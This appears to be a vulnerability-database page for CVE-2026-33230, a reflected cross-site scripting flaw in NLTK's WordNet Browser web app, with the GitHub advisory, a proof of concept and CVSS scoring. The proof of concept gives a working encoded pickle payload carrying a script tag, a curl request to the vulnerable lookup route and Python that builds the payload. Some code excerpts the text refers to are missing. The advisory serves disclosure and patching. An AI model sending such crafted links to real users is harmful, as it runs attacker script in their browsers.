CVE-2026-33230

ADVISORY - github

Summary

Summary

nltk.app.wordnet_app contains a reflected cross-site scripting issue in the lookup_... route. A crafted lookup_<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.

Details

The vulnerable flow is in nltk/app/wordnet_app.py:

This is inconsistent with the search route, which does escape user input:

As a result, a malicious lookup_... payload can inject script into the response page.

The issue is exploitable because:

  • Reference.decode() accepts attacker-controlled base64-encoded pickle data for the URL state.
  • The decoded word is reflected into HTML without html.escape().
  • The server is started with HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not just localhost.

PoC

  1. Start the WordNet Browser in an isolated Docker environment:
docker run -d --name nltk-wordnet-web -p 8002:8002 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"
  1. Use the following crafted payload, which decodes to:
("<script>alert(1)</script>", {})

Encoded payload:

gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
  1. Request the vulnerable route:
curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
  1. Observed result:
The word or words '<script>alert(1)</script>' were not found in the dictionary.

I also validated the issue directly at function level in Docker:

import base64
import pickle

from nltk.app.wordnet_app import page_from_href

payload = base64.urlsafe_b64encode(
    pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()

page, word = page_from_href(payload)
print(word)
print("<script>alert(1)</script>" in page)

Observed output:

WORD= <script>alert(1)</script>
HAS_SCRIPT= True

Impact

This is a reflected XSS issue in the NLTK WordNet Browser web UI.

An attacker who can convince a user to open a crafted lookup_... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:

  • run arbitrary script in the browser tab
  • manipulate the page content shown to the user
  • issue same-origin requests to other WordNet Browser routes
  • potentially trigger available UI actions in that local app context

This primarily impacts users who run nltk.app.wordnet_app as a local or self-hosted HTTP service and open attacker-controlled links.

EPSS Score: 0.00331 (0.250)

Common Weakness Enumeration (CWE)

ADVISORY - nist

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

ADVISORY - github

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

2.8

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

6.1medium
PackageTypeOS NameOS VersionAffected RangesFix Versions
nltkpypi--<=3.9.33.9.4

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.

There is no impact to availability within the impacted component.

NIST

CREATED

UPDATED

EXPLOITABILITY SCORE

2.8

EXPLOITS FOUND
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

6.1medium

Debian

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Ubuntu

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

N/Amedium

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-7m4f-74j4-xjw4

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY